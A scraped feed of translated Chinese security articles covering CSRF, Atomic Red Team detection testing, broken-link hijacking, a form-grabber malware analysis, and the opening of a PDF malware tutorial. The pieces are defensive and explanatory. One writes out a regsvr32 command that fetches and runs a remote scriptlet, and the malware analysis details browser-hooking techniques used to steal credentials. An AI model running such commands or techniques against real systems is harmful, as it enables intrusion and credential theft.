
$
0
0
【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)

2017-10-30 10:48:45

阅读:1498次
点赞(0)
收藏
来源: medium.com





【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)

作者:WisFree





【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面的话

现在已经是2017年了,想必大家一定知道什么是CSRF(跨站请求伪造)了,因为之前关于这个话题的讨论已经有很多了。这种漏洞已经存在了很多年,社区中也有非常详细的文档以及对应的解决方案,目前很多热门的网站开发框架基本上或多或少都实现了相应的缓解方案。

那我们在本系列文章中要讨论什么呢?请大家先思考以下几个因素:

1)遗留应用缺少CSRF保护;

2)某些框架的内置CSRF防护机制存在缺陷;

3)应用程序没有使用已证明安全的框架保护机制;

4)新的应用程序没有使用提供了CSRF保护功能的现代框架;

因此,对于目前的Web应用程序来说,CSRF仍然是一个相对普遍存在的安全漏洞。

在这篇文章中,我们首先会跟大家深入分析CSRF的工作机制,以及现代应用程序可以采用的安全措施。接下来,我们会给大家提供一份安全解决方案,同学们可以将其用于自己所开发的应用程序之中(不需要对源代码进行任何修改)。最后,我们会给大家测试一种针对cookie的新型扩展,如果它能够成为一种通用标准的话,它将能够消除绝大多数场景下的跨站脚本漏洞。除此之外,我们在GitHub库中提供了本系列文章中所要使用到的代码以及测试样例,有需要的同学可以自行下载。


了解攻击机制

简而言之,CSRF这种漏洞将允许攻击者强迫目标用户代表攻击者发送HTTP请求。这种攻击主要发生在客户端(例如Web浏览器),而在这种场景下目标用户所发送的应用程序信息是完全可信的,因此攻击者就可以成功实现攻击了。对于这种类型的攻击,我们需要关注以下三个因素:使用不安全的HTTP verb,Web浏览器对cookie的处理、以及跨站脚本漏洞(XSS)。

HTTP标准将verb主要分成了安全的以及不安全的两大类。安全的verb(GET、HEAD以及OPTIONS)主要用于只读操作,使用了这些verb的请求用于返回与被请求资源有关的信息,并且不会对服务器端产生影响。不安全的verb(POST、PUT、PATCH和DELETE)主要用于对资源进行修改、创建和删除操作。但不幸的是,一个HTTP verb本身所要进行的操作是可以被忽略或者被篡改的。

导致HTTP verb使用不当的主要原因在于浏览器对HTTP标准的支持存在缺陷,这是一种历史遗留问题。在XML HTTP Request(XHR)流行起来之前,我们几乎得依靠特定框架和代码库来使用HTTP verb(除了GET和POST之外)。这种限制导致HTTP verb之间的区别界限变得十分模糊,虽然仅凭这一点并不能创建出CSRF的攻击场景,但这也让针对CSRF的保护变得更加难以实现了。对CSRF漏洞“帮助”最大的一个因素,就是浏览器处理cookie的方式了。

在设计之初,HTTP本身是一种无状态协议,即一个请求对应一个响应,请求之间不携带/交换任何的状态信息。为了支持复杂的Web应用程序,cookie就成为了一个维持相关HTTP请求之间状态的解决方案。浏览器的全局Cookie可以跨实例、窗口和标签进行共享,用户需要依赖于Web浏览器来自动化地给每一个请求发送cookie。由于cookie是可以在浏览器中进行访问或修改的,并且缺乏反篡改保护,因此请求状态的保存任务就转移到了服务器管理会话的身上。在这种模型下,服务器端需要生成一个唯一标识符并将其存储到cookie中。每一个浏览器在发送cookie时都需要发送这个唯一标识符,而服务器端就可以根据这种标识符来判断会话的有效性了。当会话终止之后,服务器端会丢弃这个标识符,之后使用该标识符的请求都将会被视为无效请求。

现在的主要问题是,浏览器如何去管理cookie。cookie主要由一系列属性组成,但其中最重要的是Domain属性。Domain属性的功能是将cookie限定到某个匹配domain属性的特定主机范围内,这是一种用于防止敏感信息(例如会话识别符)被恶意网站窃取(会话固定攻击)的安全机制。这里存在的漏洞是domain属性并不用遵循同源策略(SOP),它只会对cookie以及请求中服务器的domain值进行简单的对比。这也就意味着,任何不同源的请求只需要带有该主机的cookie,就可以向其发送请求了。在这种场景下,只有安全的以及不安全的HTTP verb能够得到正确使用,才能确保这种行为是安全的。关于同源策略的更多详细内容,请参考这篇文档。

最后一个需要关心的因素,就是跨站脚本(XSS)漏洞。XSS指的是攻击者控制javascript或HTML来给目标用户呈现DOM内容的能力。如果某个应用程序中存在XSS漏洞的话,那这个应用此时几乎就无法再抵御CSRF攻击了。如果XSS漏洞存在的话,本文所要介绍的以及目前绝大多数应用程序所依赖的应对措施就完全没有用了。


执行攻击

既然我们已经了解到了攻击成功所涉及到的相关因素,我们就可以继续深入了解CSRF的工作机制了。如果你还没有搭建好测试环境的话,请现在赶紧按照之前提供的GitHub库中的方法(参考README文档)来搭建环境并运行样本。

我们所要讨论的主要有以下三种CSRF:

1.资源包含(Resource inclusion)

2.Form-based

3.XMLHttpRequest

在绝大多数关于CSRF的演示样例或者基础课程之中,资源包含是这种类型是最常见的。这种类型的CSRF允许攻击者控制一个HTML标签中包含的资源,例如图片、视频、音频、对象、以及脚本等等。如果攻击者能够影响页面所加载的URL,则任何包含了远程资源的标签都将可以被攻击者所利用。正如之前所说的,由于缺乏同源检测,这种攻击并不需要XSS,而且任何能够控制目标网站的攻击者都能够实现攻击。这种类型的漏洞仅限适用于GET请求,因为这种请求是浏览器专门用来请求资源URL的,而且这种漏洞的限制就在于它要求不当使用安全的HTTP verb。

第二种类型是基于表单(form-based)的CSRF,一般出现在安全verb使用正确的情况下。在这种攻击场景中,攻击者要自行创建一个表单并欺骗用户提交该表单。表单中包含一段能够强迫浏览器提交该表单的JavaScript代码段,它不仅全部由隐藏元素组成,而且提交速度非常快,所以目标用户几乎无法察觉到。由于浏览器处理cookie的方式存在问题,因此这种表单可以托管在任何一个网站上,只要用户用有效的cookie完成了登录,攻击就能成功。第二种漏洞配合钓鱼攻击是比较好的。

我们所要讨论的最后一种类型即XMLHttpRequest(XHR),而这种情况是比较少见的,因为利用这种漏洞时所要满足的条件太多了。由于很多现代Web应用程序都依赖于XHR,因此我们需要花很多事件来构建并实现这种特定的应对措施。由于同源策略的存在,基于XHR的CSRF一般都是通过XSS Payload的形式来利用的。如果没有跨域资源共享(CORS),XHR将只能被限制于向特定源发送请求,这样也就限制了攻击者托管自己Payload的途径。这种漏洞的攻击Payload其实是一种标准XHR,攻击者可以想办法将其注入到目标用户浏览器的页面DOM中。


总结

在接下来的系列文章中,我们将会给大家介绍如何在真实的开发环境之中部署最有效的CSRF解决方案,感兴趣的同学可以及时关注安全客的最新文章。



【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)
【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f

【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

$
0
0
【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

2017-10-30 13:57:39

阅读:739次
点赞(0)
收藏
来源: redcanary.com





【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

作者:興趣使然的小胃





【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

从安防角度来看,你如何确保已部署的安全解决方案已经调整完毕,准备迎接对手的实际挑战?你是否正在测试新的或者已有的安全产品,以检测安全威胁?如果你与许多团队一样,那么你可能会缺乏相应的内部资源或专业知识来模拟特定对手所使用的策略或技术。这也是我们最近推出Atomic Red Team的目的所在。Atomic Red Team是一个开源测试框架,可以测试用户的威胁检测能力。

我们之所以称之为“atomic(原子)”,是因为它可以作为小型组件,方便小型或大型安全团队使用,用来模拟特定攻击者的活动。

该框架地址为:https://github.com/redcanaryco/atomic-red-team


二、意义所在

MITRE团队收集了大量攻击者所使用的策略,我们认为这是目前最好的仓库之一。MITRE团队做了大量分类工作,为攻击生命周期中各种情况及各种策略提供参考资料。

每个安防人员都应该学习一下MITRE ATT&CK Framework。这个框架价值非凡,有助于我们更好地理解当前许多攻击者所具备的能力以及所使用的策略。


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

三、使用方法

Atomic Red Team是一个小型并且便捷的测试框架,与MITRE ATT&CK Framework相对应。每种测试用例都对应一种特定的攻击策略。通过这种方式,我们希望安防人员能够快速测试他们所使用的安防方案能否应对各种形式的攻击。

使用步骤如下:

1、进行测试前,请确保已事先获得必要的授权许可。未经授权进行测试并不是个好主意,可能会对个人记录产生不良影响。

2、请搭建一台与真实环境相似的测试主机。请确保你所使用的事件收集及EDR(端点检测及响应)解决方案已准备就绪,且端点已登录并处于活跃状态。

3、花点时间制定测试计划或测试方案。测试计划可以有多种形式。比如,我们可以在一个批处理文件中一次性执行所有的探测(Discovery)分支,也可以逐一运行每个分支,在运行中随时验证测试覆盖率。

操作视频如下所示:


四、测试案例:Regsvr32.exe

在这个例子中,我们会测试Regsvr32.exe的覆盖率。

你应该花点时间,了解一下这种攻击方法的相关知识,以理解这个测试用例的上下文背景。

在2016年春季时,我发现了这种攻击方法,当时我需要一种方法来绕过脚本控制策略。作为经过微软签名的工具,这种方法没有对应的补丁,可以轻易绕过或者规避大多数安全控制策略。

当时我发的推文如下:


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

五、测试阶段

这个测试框架分为三个阶段:


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

5.1 阶段1:执行测试

这个测试用例执行起来非常简单,因为所使用的工具在所有windows工作站上都已默认安装。

请访问此链接查看详细的测试用例。

我们提供了两种方法来进行模拟:本地方法以及远程方法。此外,我们也提供了一个“.sct”示例文件,以辅助运行模拟过程。

1、本地方法

对于本地模拟,我们可以使用如下命令及预先提供的.sct文件:

regsvr32.exe /s /u /i:file.sct scrobj.dll

2、远程方法

对于远程模拟,你需要一个可以远程访问的服务器,以抓取或下载所需的文件,或者你也可以直接使用gist地址:

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll

请一定要注意执行测试所需的时间。你可以跟踪测试时长来测量测试过程的有效性。

5.2 阶段2:收集证据

你所使用的安防解决方案会观察到什么结果?你可能会看到用户目录中发生文件改动现象。你可能会检测到regsvr32.exe向某个外部IP地址发起网络连接。代理日志中可能存在相关记录。你可能会观察到Windows系统正在加载scrobj.dll。或者,你可能不会在端点上或网络中观察到任何行为。这些情况正是我们测试的目的所在。我们希望通过测试来明确可观测结果之间的差异,以进一步改善观测结果。


Red Canary使用EDR传感器来提供相关信息,辅助安防人员检测高级攻击行为。在下文中,我们将这种传感器称之为Carbon Black。


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

经过分析整理,最终检测结果如上图所示。我们会根据这个结果在Carbon Black中回溯与这次检测有关的事件。


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

我们通常会把上图称之为Carbon Black Art图。从更高层次来看,你可以可视化地观察到攻击的执行流程。你可以从这张图中看到由谁启动了什么程序。这张图对我们的分析过程帮助很大,但我们还需要看一下实际数据:


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

上图中,我们已经收集到攻击所使用的命令以及基本的进程信息。我们可以在这里提取到许多属性信息,包括一些命令行参数。


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

如上图所示,我们可以进一步挖掘数据,观察攻击中用来获取载荷的网络连接信息。

5.3 阶段3:开发检测方法

执行测试用例后,我们发现已部署的安防方案没有一个能正常工作,这就是我们为什么进行测试的原因。基于这个实验结果以及现有的测试能力,你需要使用你所掌握的能力,在这个环境中检测这个攻击事件。

单独抽出这个事件后,你可以观察一下你所收集的所有属性,分析哪些属性可以用于风险警报。对这个例子而言,你可以在Carbon Black中构建一个关注列表,其中包含特定的文件路径、exe文件、网络连接特征等。


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

检测方案构建完毕后,我们需要验证一下这种方案是否有效,是否已经过完善优化。如果你设计的检测方案过于宽泛,可以“检测”到每个regsvr32.exe,你将会面临排山倒海般的误报率。但如果你设计的方案过于狭隘,只能检测使用“/s /u /i”命令的regsvr32.exe,那么只要稍微修改一下命令行参数,所有攻击者都能绕过你的检测方案。

为了在这两者之间找到平衡点,你需要重新运行模拟过程,调整检测标准,直至你找到合适的平衡点。这并不是一个严格的科学过程,你需要持续迭代,才能得到较好的结果。


六、目标:衡量并改进


【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

我们的目标之一,就是根据ATT&CK矩阵来衡量我们在覆盖率及功能方面的效果,找到仍需改进的地方。Roberto Rodriguez(@cyb3rWar0g)提供了一份电子表格以及补充文档,我们可以以此为依据,参考MITRE ATT&CK矩阵找到我们所处的具体位置。



【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架

利用Atomic Red Team,我们可以在模拟环境中运行这些测试用例,验证检测方案的有效性,也可以验证防御控制方案是否正常工作。这份电子表格提供了丰富的信息,蓝队可根据这些知识,通过各种方法来检测这类攻击行为。


七、总结

通过这篇文章,我们希望你能获得一些灵感或者具备一些能力,在自己的环境中模拟各类安全威胁。当然,还有许多情况需要模拟。我们非常欢迎大家提供反馈意见,以进一步改进这个框架。需要注意的是,通过这些测试用例,你无法百分百确保自己能检测并防御实际环境中的攻击行为。然而,这个测试过程可以帮助你查找现有检测流程中存在的不足,改善整体响应结果,使攻击者的行动更加困难。

本文成稿离不开Red Canary团队成员以及安全社区的共同协作。期待大家的反馈意见及贡献力量。

如果有任何意见或建议,欢迎联系我们:research@redcanary.com



【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架
【技术分享】Atomic Red Team:针对安防设计的新型自动化测试框架
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.redcanary.com/blog/atomic-red-team-testing/

【技术分享】看我如何利用过期链接进行链接劫持

$
0
0
【技术分享】看我如何利用过期链接进行链接劫持

2017-10-30 14:50:57

阅读:1375次
点赞(0)
收藏
来源: edoverflow.com





【技术分享】看我如何利用过期链接进行链接劫持

作者:興趣使然的小胃





【技术分享】看我如何利用过期链接进行链接劫持

译者:興趣使然的小胃

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

当某个链接指向已过期的域名或页面时,就存在过期链接劫持(Broken Link Hijacking,BLH)问题。过期链接劫持有两种类型,分别为反射型(reflected)以及存储型(stored)。这种问题在野外已经被多次利用,但奇怪的是,漏洞奖励项目中,很少有研究人员会积极主动寻找这类过期链接。


【技术分享】看我如何利用过期链接进行链接劫持

当目标链接指向已过期端点时,可能会出现各种问题,本文对这类情况作了大致介绍,希望读者能对此形成基本理解。


二、存储型过期链接劫持

2.1 账户伪造

当某个公司删除社交媒体账户时,他们可能会忘记在公司网站上移除相应链接。攻击者可以使用该用户名在社交媒体平台上创建相同账户,假冒这个公司。

2.2 外部JS文件劫持

如果某个目标包含外部JS文件,并且对应的域名或页面已经过期,那么攻击者就可以接管该域名或页面的控制权,最终达到存储型XSS攻击效果。

举个例子,example.edu使用了托管在example.com上的一个外部JS文件,并且example.com已过期。

<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <metaname="viewport"content="width=device-width"> <title>BrokenLinkHijacking</title> </head> <body> <scriptsrc="//example.com/script.js"></script> </body> </html>

现在,攻击者可以接管example.com,控制example.edu上的JS文件。

2.3 信息泄露

某些链接没有设置rel="noopener noreferrer"属性,劫持这类过期链接可能会将信息泄露给攻击者控制的页面。

有些时候,即使数据分析页面已过期,某些公司依然会链接到这些页面上。如果攻击者成功劫持这类过期页面,他们可以监控目标流量,有可能会收集到目标用户的有价值信息。现实生活中已有类似案例,有人曾经在Gratipay程序中发现过这种情况。

2.4 内容劫持

通过接管已过期的域名或页面,攻击者可以劫持某个页面的内容。@MisterCh0c的博客中介绍过这样一个经典案例,读者可以阅读他写的这篇文章:“如何劫持顶尖名人的推特(包括凯蒂·佩里、夏奇拉等)”。


【技术分享】看我如何利用过期链接进行链接劫持

三、反射型过期链接劫持

当你发现目标存在反射型XSS漏洞,却发现无法跳出href或者src属性的限制时,这种感觉肯定非常难受。

如果某个链接由CDN或者文件托管服务所提供,那么攻击者可以构造恶意链接,在这类服务上托管目标文件。实话实说,这种情况非常罕见,但我们还是应该记住这一点,以便将来碰到时能做到有备无患。

3.1 演示场景

举个例子,http://example.edu/?version=1.0.0代码中引用了某个版本的JS文件,这个文件托管于cdn.example上。

<!--http://example.edu/?version=1.0.0--> <!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <metaname="viewport"content="width=device-width"> <title>BrokenLinkHijacking</title> </head> <body> <scriptsrc="//cdn.example/1.0.0/script.js"></script> </body> </html>

而cdn.example允许我们添加自定义项目,托管恶意JS文件。

<!--http://example.edu/?link=maliciouspath--> <!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <metaname="viewport"content="width=device-width"> <title>BrokenLinkHijacking</title> </head> <body> <scriptsrc="//cdn.example/maliciouspath/script.js"></script> </body> </html>

四、相关工具

4.1 broken-link-checker

broken-link-checker可以爬取目标,寻找过期链接。普通情况下,可以使用如下命令来运行这个工具:

$blc-rof--filter-level3https://example.com/

如果出现误报,你可以添加额外参数,修正误报情况:

$blc-rfoi--excludelinkedin.com--excludeyoutube.com--filter-level3https://example.com/

4.2 twitterBFTD

misterch0c公布了一个小脚本,可以在推特中查找过期域名。


五、参考链接

https://github.com/cure53/HTTPLeaks



【技术分享】看我如何利用过期链接进行链接劫持
【技术分享】看我如何利用过期链接进行链接劫持
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://edoverflow.com/2017/broken-link-hijacking/

【技术分享】Form-Grabber恶意软件的详细分析

$
0
0
【技术分享】Form-Grabber恶意软件的详细分析

2017-10-30 17:41:30

阅读:734次
点赞(0)
收藏
来源: stormshield.com





【技术分享】Form-Grabber恶意软件的详细分析

作者:WisFree





【技术分享】Form-Grabber恶意软件的详细分析

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


介绍

作为Stormshield安全情报团队的一名新成员,我的第一个任务就是分析这款form-grabber恶意软件,在这种恶意软件的帮助下,攻击者可以利用基于Web浏览器的注入方法来窃取目标用户的密码。在这篇文章中,我将跟大家详细介绍这款恶意软件的技术细节,其中的重点是Web浏览器的注入技术。

这款恶意软件已经有一定“年纪”了,因为从编译后代码的时间戳来看,这款恶意软件早在2012年就已经存在了。但是待会儿等我介绍完之后你就会发现,虽然这款恶意软件已经“上年纪”了,但它仍然能够高效地攻击很多最新版本的浏览器(32位模式)。安全研究专家Xylitol已经在VirusTotal平台上传了一份这款恶意软件的样本,但是目前互联网上还没有针对这款恶意软件的详细分析报告。由于这部分内容的缺失,这种威胁的传播方法很可能不为人所知,这也是我写这篇文章的原因。


脱壳

我们所分析的样本加了两层壳,第一层是UPX的壳,这个可以轻松脱壳。第二层同样非常简单,它利用了一种反调试技巧读取PEB中的‘BeingDebugged’标记。除此之外,这里还实现了一种反混淆技术,即样本使用了一个1字节密钥(0x0F)来进行XOR运算并输出解密后的PE域(缓冲区使用VirtualAlloc()分配)。在调用了VirtualAlloc()之后,我们可以使用下列指令来识别第二阶段的壳是否结束:

push0x666;magicvaluecheckedafterunpacking pushebx;baseaddressoftheunpackedPE calleax;leadstotheunpackedPEoriginalentrypoint

因此我们可以得知,这款恶意软件在执行第一个功能时需要接收两个输入参数:

脱壳后的PE基地址;

一个可当作密钥使用的值;

如果这个值不是恶意软件所定义的(0x666),那么它就会停止运行。


RC4加密

为了防止逆向分析或其他基于检测的静态分析方法,这款恶意软件使用了RC4算法来加密字符串。其中被加密的绝大多数都是与Web浏览器注入相关的DLL、函数名称或参数,它们可以使用LoadLibraryA()和GetProcAddress()来动态解析导入的代码库。在地址data+0x30中有一个结构体数组,其中包含有每一个加密字符串的地址。这个结构体如下代码所示:

structrc4_encrypted_string{ constchar*string;//pointertotheencryptedstringstoredin.rdata unsignedintlength;//lengthofthestring }

因此,为了解密字符串,恶意软件使用了一个函数来发送结构体数组中加密字符串的个数,并以此来推算其所在地址和长度。在一个IDA python脚本的帮助下,我们可以轻松找到这个函数的交叉引用,并了解到字符串的个数,并执行解密。

运行脚本之后,我们可以发现很多有意思的字符串,例如DLL或函数名等等:


【技术分享】Form-Grabber恶意软件的详细分析

用于解密的RC4密钥长度为128位,其地址存放于data+0x14。在这个样本中,其密钥为:27F56A32B728364FBA109F983D148023。


主要的执行流程

这款恶意软件的主线程用来执行一个无限循环,然后在循环中枚举出目标操作系统中正在运行的所有进程,最终找出一个浏览器程序并实现线程注入。枚举过程主要使用了以下几个windows API函数:

CreateToolhelp32Snapshot()

Process32FirstW()

Process32NextW()

这款恶意软件还会寻找任何名字符合以下字符串的进程,并尝试向其中注入一个线程:

chrome.exe

firefox.exe

opera.exe

iexplorer.exe

WebKit2WebProcess.exe (Safari)


Form-grabber线程注入

一旦其找到了匹配的进程名称,它便会调用OpenProcess()来获取目标进程的控制权。接下来,恶意软件将调用VirtualAlloc()在目标进程的地址空间中分配一个执行的内存区域。这一块内存区域可以用来存储当前运行的PE文件副本(使用WriteProcessMemory()实现)。现在,整个PE文件都会被映射到目标进程的地址空间中,最后再调用CreateRemoteThread()来运行注入的线程。

由于这款恶意软件不会向线程函数传递任何的变量,因此远程线程不需要知道它到底是在哪个进程中运行的。


内联钩子

内联钩子(Inline Hooking)是一种专门用来拦截函数调用的方法,这种方法可以执行一种旁路函数来访问原始函数的参数信息。在我们的分析样本中,它使用了这种内联钩子来拦截浏览器在发送HTTP请求时所调用的函数,并访问其中包含的敏感数据,例如用户名、密码或信用卡号等等。

为了设置内联钩子,这款恶意软件使用了一个全局结构体来存储挂钩函数的信息(存储在.data域)。这种结构体如下代码所示:

//FunctionpointerdefinitionforcallingHTTPSendRequestA() typedefBOOL(*http_send_request_prototype_t)( _In_HINTERNEThRequest, _In_LPCTSTRlpszHeaders, _In_DWORDdwHeadersLength, _In_LPVOIDlpOptional, _In_DWORDdwOptionalLength ); structdirect_injection_hook{ http_send_request_prototype_thooked_function;//addressofWininet.dll!HttpSendRequestA http_send_request_prototype_tdetour_function;//addressofthefunctionwrittenbytheauthor unsignedintcount_saved_bytes;//numberofbytesoverridenatWininet.dll!HttpSendRequestA void(*return_to_dll)(void);//addressofuser-allocatedpage(RWX)usedtoexecutetheoriginal //hookedfunctionafterexecutionofthedetourfunction }

下面是用于设置内联钩子的函数反编译版本,代码位于地址.text+0x40:


【技术分享】Form-Grabber恶意软件的详细分析

挂钩后的执行流程

当设置好了钩子之后,如果iexplorer.exe调用了Wininet.dll!HttpSendRequestA,则执行流程如下:

1. 执行Wininet.dll!HttpSendRequestA的第一条指令,并跳转到旁路函数。

2. 旁路函数访问已挂钩函数的参数信息,例如HTTP Payload,并从中提取出敏感数据。

3. 旁路函数调用跳转函数(return_to_dll),并存储Wininet.dll!HttpSendRequestA执行过的所有指令,最终跳转到Wininet.dll!HttpSendRequestA+5然后执行。

4. Wininet.dll!HttpSendRequestA剩下的指令会继续执行,直到函数返回并执行HTTP请求。

5. 旁路函数运行完之后会返回到原函数,然后调用Wininet.dll!HttpSendRequestA。

完整的执行流程请大家参考下面这张图片:


【技术分享】Form-Grabber恶意软件的详细分析

浏览器与挂钩函数信息

下面这个表格显示的是浏览器可注入的DLL和函数名等信息:


【技术分享】Form-Grabber恶意软件的详细分析

某些函数是在HTTP层运行的,这也就意味着当用户浏览一个HTTPS网站时,函数钩子在将信息传递给TLS层并进行加密之前,它首先拼接出的会是HTTP请求。剩下的操作全部都会在TCP层执行,这也就意味着浏览一个HTTPS网站将会导致恶意软件挂钩TLS记录Payload并通过套接字进行发送,而这对于这款恶意软件来说没有任何的实际意义。

该恶意软件基于BaseHTTPServer所创建出的类代码如下,其主要功能就是捕获POST方法:

importBaseHTTPServer importurlparse browser_mapping={ 0:'chrome.exe', 1:'chrome.exe', 2:'firefox.exe', 3:'opera.exe', 4:'WebKit2WebProcess.exe',#Safari 5:'iexplorer.exe' } HOST='localhost' PORT=80 XOR_KEY=0x07 classFormGrabberHTTPDecoder(BaseHTTPServer.BaseHTTPRequestHandler): defdo_POST(self): request_line=self.requestline content_length=int(self.headers['Content-Length']) post_data=self.rfile.read(content_length) decoded_data=urlparse.parse_qs(post_data) malware_version=decoded_data['v'][0] injected_browser=browser_mapping[int(decoded_data['t'][0])] username_hostname=decoded_data['h'][0] hexdumped_post_data=decoded_data['c'][0] xored_post_data=hexdumped_post_data.decode('hex') unxored_post_data=[chr(ord(c)^XOR_KEY)forcinxored_post_data] unxored_post_data=''.join(unxored_post_data) d1=('-'*79) d2=('*'*79) print('ReceivedHTTPrequestline:{}'.format(request_line)) print('ReceivedHTTPbody:\n{}\n{}\n{}'.format(d1,post_data,d1)) print('Malwareversion:{}'.format(malware_version)) print('Injectedbrowser:{}'.format(injected_browser)) print('UsernameandHostname:{}'.format(username_hostname)) print('InterceptedHTTPrequest:\n{}\n{}\n{}'.format( d1,unxored_post_data,d1)) print(d2) if__name__=='__main__': s=BaseHTTPServer.HTTPServer((HOST,PORT),FormGrabberHTTPDecoder) s.serve_forever()

下面是脚本的输出样本,我们尝试通过facebook.com的身份验证,测试环境为IE浏览器+HTTPS:


【技术分享】Form-Grabber恶意软件的详细分析

浏览器测试

因为这款form-grabber恶意软件在我分析的时候已经存在了五年之久了,所以我们也很想知道为什么它至今仍然可以攻击很多最新版本的浏览器。实际上在这些年里,浏览器的架构一直都在不断地升级和改进,而这款恶意软件所挂钩的部分函数现在已经不再使用了。下面这个表格所显示的内容是这款恶意软件在Windows 7操作系统(SP1,64位)中可以成功攻击的浏览器版本信息:


【技术分享】Form-Grabber恶意软件的详细分析

有意思的是,除了Firefox之外,该恶意软件所有的函数钩子都可以有效地对所有最新版本的32位浏览器实施攻击。


总结

这是一款十分精巧的form-grabber型恶意软件,它使用了一些反调试技术,并对函数调用进行了混淆处理。除此之外,它还使用了RC4算法来加密函数以及DLL名称来执行代码库的动态导入。众所周知,内联钩子是一种用于拦截函数调用的著名技术,而且对于目前最新版本的浏览器来说这种技术仍然是非常有效的。但是,这款恶意软件的开发者并没有花时间去优化所有浏览器HTTP层的钩子函数,因此它很有可能无法针对那些通过https来发送的请求进行拦截和攻击。


额外信息

MD5: cb066c5625aa85957d6b8d4caef4e497

SHA1: bd183265938f81990260d88d3bb6652f5b435be7

SHA256: 9cdb1a336d111fd9fc2451f0bdd883f99756da12156f7e59cca9d63c1c1742ce

VirusTotal的分析报告:【传送门】



【技术分享】Form-Grabber恶意软件的详细分析
【技术分享】Form-Grabber恶意软件的详细分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://thisissecurity.stormshield.com/2017/09/28/analyzing-form-grabber-malware-targeting-browsers/

【技术分享】PDF文件解析与PDF恶代分析中的一些坑

$
0
0
【技术分享】PDF文件解析与PDF恶代分析中的一些坑

2017-10-31 10:01:55

阅读:806次
点赞(0)
收藏
来源: 安全客





【技术分享】PDF文件解析与PDF恶代分析中的一些坑

作者:redpain





【技术分享】PDF文件解析与PDF恶代分析中的一些坑

作者:redpain

预估稿费:500RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

最近在做文档类的恶代检测,写个总结。

本篇文章负责介绍pdf文档的格式以及恶代分析中需要注意的问题以及相应工具推荐。希望能给各位做恶代分析时提供一些帮助。

后序会更新一些其他文档格式解析与恶代分析内容等,欢迎各位关注(

文章结构:

PDF文件格式介绍

以二进制文本解析Pdf文档结构

Pdf文件混淆

关键字

流的提取

一些坑

常用分析工具推荐

References


PDF文件格式介绍

PDF(便携式文件格式,Portable Document Format)是由Adobe Systems于1993年基于文件交换所发展出的一种文件格式。Adobe公司素有“漏洞之王”的美誉,所以学习PDF文件格式对研究分析漏洞具有极大帮助。PDF格式较为复杂,本文以研究漏洞的目的分析PDF格式,探寻如何找出并分析PDF中存在的恶意代码,而并非做一个详细的PDF parser解析器,因此会省略对不相关关键字的介绍,请各位留意。

PDF的结构可以从文件结构和逻辑结构两个方面来理解。PDF的文件结构指的是其文件物理组织方式,逻辑结构则指的是其内容的逻辑组织方式。

PDF的文件结构

PDF文件格式包含以下4个部分:

文件头——指明了该文件所遵从的PDF规范的版本号,它出现在PDF文件的第一行。

文件体——又称对象集合,PDF文件的主要部分,由一系列对象组成。

交叉引用表——对对象进行随机存取而设立的一个间接对象的地址索引表。(实际以偏移+索引的方式储存对象地址,下文会提及)

文件尾——声明了交叉引用表的地址,即指明了文件体的根对象(Catalog),从而能够找到PDF文件中各个对象体的位置,达到随机访问。另外还保存了PDF文件的加密等安全信息。

PDF文件格式图示:


【技术分享】PDF文件解析与PDF恶代分析中的一些坑
PDF文件的逻辑结构

本段主要介绍PDF文件体的读取方式。

作为一种结构化的文件格式,一个PDF文档是由一些称为“对象”的模块组成的。每个对象都有数字标号,这样的话可以这些对象就可以被其他的对象所引用。这些对象不需要按照顺序出现在PDF文档里面,出现的顺序可以是任意的,比如一个PDF文件有3页,第3页可以出现在第1页以前,对象按照顺序出现唯一的好处就是能够增加文件的可读性,对象的信息以偏移+索引的形式保存在交叉引用表内。

文件尾说明了根对象的对象号,并且说明交叉引用表的位置,通过对交叉引用表的查询可以找到目录对象(Catalog)。这个目录对象是该PDF文档的根对象,包含PDF文档的大纲(outline)和页面组对象(pages)引用。大纲对象是指PDF文件的书签树;页面组对象(pages)包含该文件的页面数,各个页面对象(page)的对象号。

PDF的层级结构图示:


【技术分享】PDF文件解析与PDF恶代分析中的一些坑

页面(page)对象为PDF中最重要的对象,包含如何显示该页面的信息,例如使用的字体,包含的内容(文字,图片等),页面的大小。里面的信息可以直接给出,当然里面的子项更多的是对其他对象的引用,真正的信息存放在其他对象里面。页面中包含的信息是包含在一个称为流(stream)的对象里,这个流的长度(字节数)必须直接给出或指向另外一个对象(包含一个整数值,表明这个流的长度)。

